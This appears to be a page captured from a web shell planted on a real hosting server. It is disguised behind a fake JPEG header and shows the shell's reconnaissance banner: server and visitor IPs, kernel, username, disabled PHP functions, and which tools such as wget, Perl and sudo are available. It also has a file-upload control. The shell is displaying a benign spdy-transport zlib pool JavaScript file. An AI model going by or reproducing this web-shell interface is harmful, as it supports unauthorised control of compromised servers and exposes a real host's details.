ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.224.44.186 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/cms/node_modules/spdy-transport/lib/spdy-transport/protocol/spdy/ |
Upload File : |
'use strict' var zlibpool = exports var zlib = require('zlib') var transport = require('../../../spdy-transport') // TODO(indutny): think about it, why has it always been Z_SYNC_FLUSH here. // It should be possible to manually flush stuff after the write instead function createDeflate (version, compression) { var deflate = zlib.createDeflate({ dictionary: transport.protocol.spdy.dictionary[version], flush: zlib.Z_SYNC_FLUSH, windowBits: 11, level: compression ? zlib.Z_DEFAULT_COMPRESSION : zlib.Z_NO_COMPRESSION }) // For node.js v0.8 deflate._flush = zlib.Z_SYNC_FLUSH return deflate } function createInflate (version) { var inflate = zlib.createInflate({ dictionary: transport.protocol.spdy.dictionary[version], flush: zlib.Z_SYNC_FLUSH }) // For node.js v0.8 inflate._flush = zlib.Z_SYNC_FLUSH return inflate } function Pool (compression) { this.compression = compression this.pool = { 2: [], 3: [], 3.1: [] } } zlibpool.create = function create (compression) { return new Pool(compression) } Pool.prototype.get = function get (version) { if (this.pool[version].length > 0) { return this.pool[version].pop() } else { var id = version return { version: version, compress: createDeflate(id, this.compression), decompress: createInflate(id) } } } Pool.prototype.put = function put (pair) { this.pool[pair.version].push(pair) }